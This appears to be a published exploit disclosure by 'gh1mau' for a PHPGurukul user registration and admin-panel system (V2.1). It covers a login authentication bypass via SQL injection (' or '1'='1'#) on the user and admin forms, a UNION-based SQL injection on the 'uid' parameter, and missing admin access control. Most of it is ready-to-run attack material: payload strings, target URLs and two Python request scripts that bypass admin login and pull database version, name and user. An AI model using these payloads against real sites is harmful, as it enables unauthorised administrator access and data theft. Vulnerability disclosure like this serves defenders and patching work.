# Exploit Title: User Registration & Login and User Management System With admin panel - Authentication Bypass
# Date: 2020-07-04
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7003L
# Version: V2.1
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

[User Login]:

Vulnerable File:
---------------- 
/index.php

Vulnerable Code:
-----------------
line 62: $femail=$_POST['femail'];

Vulnerable Issue:
-----------------
$femail=$_POST['femail']; has no sanitization

POC User Login:
---------------

URL: http://localhost/loginsystem/index.php
Username : ' or '1'='1'#
Password : anything

********************************************************************************

[Admin Login]:

Vulnerable File:
---------------- 
/admin/index.php

Vulnerable Code:
-----------------
line 7: $adminusername=$_POST['username'];

Vulnerable Issue:
-----------------
$adminusername=$_POST['username']; has no sanitization

POC Admin Login:
---------------

URL: http://localhost/loginsystem/admin/index.php
Username : ' or '1'='1'#
Password : anything

********************************************************************************

Python Admin Login POC:
----------------------

import requests

url = "http://localhost:80/loginsystem/admin/"

payload = "username=%27+or+%271%27%3D%271%27%23&password=anything&login=Submit+Query"
headers = {
    "Origin": "http://localhost", 
    "Cookie": "PHPSESSID=pcsmeo2gqbdmutcetaukkhmk27", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0", 
    "Connection": "close", 
    "Referer": "http://localhost/loginsystem/admin/", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5", 
    "Content-Length": "73", 
    "Content-Type": "application/x-www-form-urlencoded"
}

response = requests.request("POST", url, data=payload, headers=headers)

print(response.text)



-----------------

# Exploit Title: User Registration & Login and User Management System With admin panel - 'uid' SQL Injection
# Date: 2020-07-04
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7003L
# Version: V2.1
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Info:
-----
[+] Any registered user can access admin pages (update-profile.php,manage-users.php,change-password.php) - no propeer ACL / session control

Vulnerable File:
---------------- 
/admin/update-profile.php

Vulnerable Code:
-----------------
line 15:  $uid=intval($_GET['uid']);

Vulnerable Issue:
-----------------
 $uid=intval($_GET['uid']); has no sanitization

POC:
----

[+] Need any registered user to be authencated first.

http://localhost/loginsystem/admin/update-profile.php?uid=11'+UNION+ALL+SELECT+NULL,NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL,NULL,NULL--+-

Python Code:
------------

import requests,re

url = "http://localhost:80/loginsystem/admin/update-profile.php?uid=11%27+UNION+ALL+SELECT+NULL,NULL,CONCAT('gh1mau',version(),0x3a,database(),0x3a,user(),'gh1mau'),NULL,NULL,NULL,NULL--+-"

payload = ""
headers = {
    "Cookie": "PHPSESSID=pcsmeo2gqbdmutcetaukkhmk27", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0", 
    "Connection": "close", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5"
}

pattern = "(?<=gh1mau).*?(?=gh1mau)"
response = requests.request("GET", url, data=payload, headers=headers)
version=re.findall(pattern,response.text)

print(version)